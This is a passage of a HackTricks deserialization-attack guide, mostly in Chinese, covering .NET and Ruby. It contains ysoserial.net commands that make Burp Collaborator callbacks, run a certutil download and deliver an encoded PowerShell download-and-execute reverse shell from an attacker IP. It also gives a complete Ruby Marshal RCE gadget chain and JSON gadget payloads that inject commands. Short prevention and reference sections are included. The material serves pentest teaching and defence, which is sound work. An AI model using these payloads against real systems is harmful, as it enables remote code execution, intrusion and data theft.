--gadget用于指示要滥用的 gadget(指示在反序列化期间将被滥用以执行命令的类/函数)。--formatter用于指示序列化 exploit 的方法(你需要知道后端使用哪个库来 deserialize payload,并使用相同的库来序列化它)。--output用于指示你想要 exploit 的输出是 raw 还是 base64 编码。注意 ysoserial.net 会使用 UTF-16LE 对 payload 进行编码(这是 Windows 上默认使用的编码),所以如果你获取了 raw 并在 linux 控制台上直接进行编码,可能会遇到一些 编码兼容性问题,从而阻止 exploit 正常工作(在 HTB JSON box 中该 payload 在 UTF-16LE 和 ASCII 下均可工作,但这并不意味着它始终有效)。--pluginysoserial.net 支持插件以为特定框架制作 exploits,例如 ViewState
More ysoserial.net parameters
--minify将提供一个更小的 payload(如果可能)--raf -f Json.Net -c "anything"这将指示所有可以与所提供 formatter(此例为Json.Net)一起使用的 gadgets--sf xml你可以指示一个 gadget(-g)并且 ysoserial.net 会搜索包含 "xml"(不区分大小写)的 formatters
ysoserial examples to create exploits:
#Send ping
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64
#Timing
#I tried using ping and timeout but there wasn't any difference in the response timing from the web server
#DNS/HTTP request
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup sb7jkgm6onw1ymw0867mzm2r0i68ux.burpcollaborator.net" -o base64
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://rfaqfsze4tl7hhkt5jtp53a1fsli97.burpcollaborator.net/a a" -o base64
#Reverse shell
#Create shell command in linux
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" | iconv -t UTF-16LE | base64 -w0
#Create exploit using the created B64 shellcode
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64
ysoserial.net 还有一个 非常有趣的参数,有助于更好地理解每个 exploit 如何工作: --test
如果你指定这个参数,ysoserial.net 会 在本地尝试 这个 exploit, 这样你就可以测试你的 payload 是否会正确工作。
这个参数很有用,因为如果你查看代码,你会发现像下面这样的代码块(来自 ObjectDataProviderGenerator.cs:
if (inputArgs.Test)
{
try
{
SerializersHelper.JsonNet_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}
这意味着为了测试 exploit,代码将调用 serializersHelper.JsonNet_deserialize
public static object JsonNet_deserialize(string str)
{
Object obj = JsonConvert.DeserializeObject<Object>(str, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
return obj;
}
在 之前的代码易受所创建的利用影响。因此,如果你在某个 .Net 应用中发现类似情况,就意味着该应用很可能也存在相同的漏洞。
因此 --test 参数可以帮助我们了解 哪些代码片段容易受到 ysoserial.net 所生成的反序列化利用 的影响。
ViewState
查看 这篇 POST 关于 如何尝试利用 .Net 的 __ViewState 参数 来 执行任意代码。如果你已经知道受害机器使用的密钥(secrets),请阅读这篇文章了解如何执行代码。
预防
为降低 .Net 反序列化相关风险:
- 不要允许数据流定义其对象类型。 尽可能使用
DataContractSerializer或XmlSerializer。 - 对于
JSON.Net,将TypeNameHandling设置为None:TypeNameHandling = TypeNameHandling.None - 避免在
JavaScriptSerializer中使用JavaScriptTypeResolver。 - 限制可反序列化的类型, 并理解 .Net 类型固有的风险,例如
System.IO.FileInfo,它能够修改服务器文件的属性,可能导致拒绝服务攻击。 - 对具有危险属性的类型保持谨慎, 例如带有
Value属性的System.ComponentModel.DataAnnotations.ValidationException,该属性可能被利用。 - 安全地控制类型实例化, 防止攻击者影响反序列化过程,否则即使是
DataContractSerializer或XmlSerializer也可能变得易受攻击。 - 通过为
BinaryFormatter和JSON.Net使用自定义SerializationBinder实现白名单控制。 - 关注 .Net 中已知的不安全反序列化 gadget, 并确保反序列化器不会实例化这些类型。
- 将潜在危险的代码与具有互联网访问的代码隔离, 避免将已知 gadget(例如 WPF 应用中的
System.Windows.Data.ObjectDataProvider)暴露给不受信任的数据源。
参考资料
- Java 和 .Net JSON 反序列化 论文: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf, 演讲: https://www.youtube.com/watch?v=oUAeWhW5b8c 和 幻灯片: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf
- https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp
- https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf
- https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization
Ruby
在 Ruby 中,序列化由 marshal 库中的两个方法提供。第一个方法,称为 dump,用于将对象转换为字节流(即序列化)。相反,第二个方法 load 用于将字节流还原为对象(即反序列化)。
为保护序列化对象,Ruby 使用 HMAC (Hash-Based Message Authentication Code) 来确保数据的完整性和真实性。用于此目的的密钥存储在以下可能位置之一:
config/environment.rbconfig/initializers/secret_token.rbconfig/secrets.yml/proc/self/environ
Ruby 2.X 通用反序列化到 RCE gadget chain (更多信息见 https://www.elttam.com/blog/ruby-deserialization/):
#!/usr/bin/env ruby
# Code from https://www.elttam.com/blog/ruby-deserialization/
class Gem::StubSpecification
def initialize; end
end
stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")#RCE cmd must start with "|" and end with "1>&2"
puts "STEP n"
stub_specification.name rescue nil
puts
class Gem::Source::SpecificFile
def initialize; end
end
specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)
other_specific_file = Gem::Source::SpecificFile.new
puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts
$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])
puts "STEP n-2"
$dependency_list.each{} rescue nil
puts
class Gem::Requirement
def marshal_dump
[$dependency_list]
end
end
payload = Marshal.dump(Gem::Requirement.new)
puts "STEP n-3"
Marshal.load(payload) rescue nil
puts
puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
pipe.print payload
pipe.close_write
puts pipe.gets
puts
end
puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts
require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)
另一个用于利用 Ruby On Rails 的 RCE 链: https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/
Ruby .send() 方法
正如 this vulnerability report 所解释,如果某些未经过滤的用户输入到达 ruby 对象的 .send() 方法,该方法允许调用对象的任何其他方法并传入任意参数。
例如,调用 eval 并将 ruby code 作为第二个参数将允许执行任意代码:
<Object>.send('eval', '<user input with Ruby code>') == RCE
此外,如果只有 .send() 的一个参数被攻击者控制,正如之前的 writeup 所述,就可以调用对象中任何不需要参数或其参数具有默认值的方法。
为此,可以枚举对象的所有方法以找到满足这些要求的一些有趣的方法。
<Object>.send('<user_input>')
# This code is taken from the original blog post
# <Object> in this case is Repository
## Find methods with those requirements
repo = Repository.find(1) # get first repo
repo_methods = [ # get names of all methods accessible by Repository object
repo.public_methods(),
repo.private_methods(),
repo.protected_methods(),
].flatten()
repo_methods.length() # Initial number of methods => 5542
## Filter by the arguments requirements
candidate_methods = repo_methods.select() do |method_name|
[0, -1].include?(repo.method(method_name).arity())
end
candidate_methods.length() # Final number of methods=> 3595
Ruby class pollution
查看如何可以 pollute a Ruby class and abuse it in here。
Ruby _json pollution
当在请求 body 中发送一些不能被哈希的值(例如 array)时,它们会被添加到一个名为 _json 的新键中。然而,攻击者也可以在 body 中设置一个名为 _json 的值,内容为任意想要的值。因此,例如后端如果检查某个参数的真实性,但随后又使用 _json 参数来执行某些操作,就可能导致授权绕过。
其他库
该技术摘自这篇博客文章。
还有其他 Ruby 库可以用来序列化对象,因此在不安全的反序列化过程中可能被滥用以获得 RCE。下表列出其中一些库以及在反序列化时会调用的类方法(基本上是可被利用以获取 RCE 的函数):
| 库 | 输入数据 | 类内触发方法 |
| Marshal (Ruby) | Binary | _load |
| Oj | JSON | hash (class needs to be put into hash(map) as key) |
| Ox | XML | hash (class needs to be put into hash(map) as key) |
| Psych (Ruby) | YAML | hash (class needs to be put into hash(map) as key)init_with |
| JSON (Ruby) | JSON | json_create ([see notes regarding json_create at end](#table-vulnerable-sinks)) |
基本示例:
# Existing Ruby class inside the code of the app
class SimpleClass
def initialize(cmd)
@cmd = cmd
end
def hash
system(@cmd)
end
end
# Exploit
require 'oj'
simple = SimpleClass.new("open -a calculator") # command for macOS
json_payload = Oj.dump(simple)
puts json_payload
# Sink vulnerable inside the code accepting user input as json_payload
Oj.load(json_payload)
在尝试滥用 Oj 的情况下,可以找到一个 gadget class,其内部的 hash 函数会调用 to_s,to_s 会调用 spec,进而调用 fetch_path,可以使其去获取一个随机的 URL,从而成为检测此类 unsanitized deserialization vulnerabilities 的极好探测器。
{
"^o": "URI::HTTP",
"scheme": "s3",
"host": "example.org/anyurl?",
"port": "anyport",
"path": "/",
"user": "anyuser",
"password": "anypw"
}
此外,发现使用前述技术会在系统中创建一个文件夹,这是滥用另一个 gadget 将其转化为完整的 RCE(例如如下)的必要条件:
{
"^o": "Gem::Resolver::SpecSpecification",
"spec": {
"^o": "Gem::Resolver::GitSpecification",
"source": {
"^o": "Gem::Source::Git",
"git": "zip",
"reference": "-TmTT=\"$(id>/tmp/anyexec)\"",
"root_dir": "/tmp",
"repository": "anyrepo",
"name": "anyname"
},
"spec": {
"^o": "Gem::Resolver::Specification",
"name": "name",
"dependencies": []
}
}
}
Check for more details in the original post.
Bootstrap Caching
Not really a desearilization vuln but a nice trick to abuse bootstrap caching to to get RCE from a rails application with an arbitrary file write (find the complete original post in here).
下面是文章中通过滥用 Bootsnap 缓存利用任意文件写漏洞的步骤简要总结:
- Identify the Vulnerability and Environment
Rails 应用的文件上传功能允许攻击者任意写文件。尽管应用在运行时受到限制(由于 Docker 的 non-root user,只有像 tmp 这样的特定目录可写),这仍然允许写入 Bootsnap 缓存目录(通常位于 tmp/cache/bootsnap 下)。
- Understand Bootsnap’s Cache Mechanism
Bootsnap 通过缓存已编译的 Ruby 代码、YAML 和 JSON 文件来加速 Rails 启动。它存储的缓存文件包含一个 cache key header(字段包括 Ruby version、file size、mtime、compile options 等),然后是已编译的代码。该 header 在应用启动时用于验证缓存。
- Gather File Metadata
攻击者首先选择一个在 Rails 启动时可能被加载的目标文件(例如来自 Ruby 标准库的 set.rb)。通过在容器内执行 Ruby 代码,他们提取关键元数据(例如 RUBY_VERSION、RUBY_REVISION、size、mtime 和 compile_option)。这些数据对于构造有效的 cache key 至关重要。
- Compute the Cache File Path
通过复现 Bootsnap 的 FNV-1a 64-bit hash 机制,可以确定正确的缓存文件路径。此步骤确保恶意缓存文件被放置在 Bootsnap 预期的位置(例如 tmp/cache/bootsnap/compile-cache-iseq/ 下)。
- Craft the Malicious Cache File
攻击者准备一个载荷,该载荷会:
- 执行任意命令(例如运行 id 来显示进程信息)。
- 在执行后删除恶意缓存以防止递归利用。
- 加载原始文件(例如 set.rb)以避免使应用崩溃。
该载荷被编译成二进制 Ruby 代码,并与一个精心构造的 cache key header 连接(使用先前收集的元数据和正确的 Bootsnap 版本号)。
- Overwrite and Trigger Execution
利用任意文件写漏洞,攻击者将构造好的缓存文件写入计算出的路径。接着,他们触发服务器重启(通过写入 tmp/restart.txt,Puma 会监控该文件)。在重启期间,当 Rails require 目标文件时,恶意缓存文件被加载,导致远程代码执行(RCE)。
Ruby Marshal exploitation in practice (updated)
将任何不受信任的字节到达 Marshal.load/marshal_load 的路径视为 RCE sink。Marshal 在物化过程中会重构任意对象图并触发库/gem 的回调。
- Minimal vulnerable Rails code path:
class UserRestoreController < ApplicationController
def show
user_data = params[:data]
if user_data.present?
deserialized_user = Marshal.load(Base64.decode64(user_data))
render plain: "OK: #{deserialized_user.inspect}"
else
render plain: "No data", status: :bad_request
end
end
end
- 常见的 gadget classes(在真实 chains 中可见):
Gem::SpecFetcher,Gem::Version,Gem::RequestSet::Lockfile,Gem::Resolver::GitSpecification,Gem::Source::Git. - 典型的 side-effect marker 嵌入在 payloads 中(在 unmarshal 期间执行):
*-TmTT="$(id>/tmp/marshal-poc)"any.zip
Where it surfaces in real apps:
- Rails 的 cache stores 和 session stores(历史上使用 Marshal)
- 后台作业后端(background job backends)和基于文件的对象存储(file-backed object stores)
- 任何自定义的二进制对象 blob 的持久化或传输
Industrialized gadget discovery:
- 使用 grep 查找 constructors、
hash、_load、init_with,或在 unmarshal 过程中被调用的具有副作用的方法 - 使用 CodeQL’s Ruby unsafe deserialization queries 来追踪 sources → sinks 并揭示 gadgets
- 使用公开的多格式 PoCs(JSON/XML/YAML/Marshal)进行验证
参考资料
- Trail of Bits – Marshal madness: A brief history of Ruby deserialization exploits: https://blog.trailofbits.com/2025/08/20/marshal-madness-a-brief-history-of-ruby-deserialization-exploits/
- elttam – Ruby 2.x Universal RCE Deserialization Gadget Chain: https://www.elttam.com/blog/ruby-deserialization/
- Phrack #69 – Rails 3/4 Marshal chain: https://phrack.org/issues/69/12.html
- CVE-2019-5420 (Rails 5.2 insecure deserialization): https://nvd.nist.gov/vuln/detail/CVE-2019-5420
- ZDI – RCE via Ruby on Rails Active Storage insecure deserialization: https://www.zerodayinitiative.com/blog/2019/6/20/remote-code-execution-via-ruby-on-rails-active-storage-insecure-deserialization
- Include Security – Discovering gadget chains in Rubyland: https://blog.includesecurity.com/2024/03/discovering-deserialization-gadget-chains-in-rubyland/
- GitHub Security Lab – Ruby unsafe deserialization (query help): https://codeql.github.com/codeql-query-help/ruby/rb-unsafe-deserialization/
- GitHub Security Lab – PoCs repo: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization
- Doyensec PR – Ruby 3.4 gadget: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization/pull/1
- Luke Jahnke – Ruby 3.4 universal chain: https://nastystereo.com/security/ruby-3.4-deserialization.html
- Luke Jahnke – Gem::SafeMarshal escape: https://nastystereo.com/security/ruby-safe-marshal-escape.html
- Ruby 3.4.0-rc1 release: https://github.com/ruby/ruby/releases/tag/v3_4_0_rc1
- Ruby fix PR #12444: https://github.com/ruby/ruby/pull/12444
- Trail of Bits – Auditing RubyGems.org (Marshal findings): https://blog.trailofbits.com/2024/12/11/auditing-the-ruby-ecosystems-central-package-repository/
- watchTowr Labs – Is This Bad? This Feels Bad — GoAnywhere CVE-2025-10035: https://labs.watchtowr.com/is-this-bad-this-feels-bad-goanywhere-cve-2025-10035/
tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:
HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
HackTricks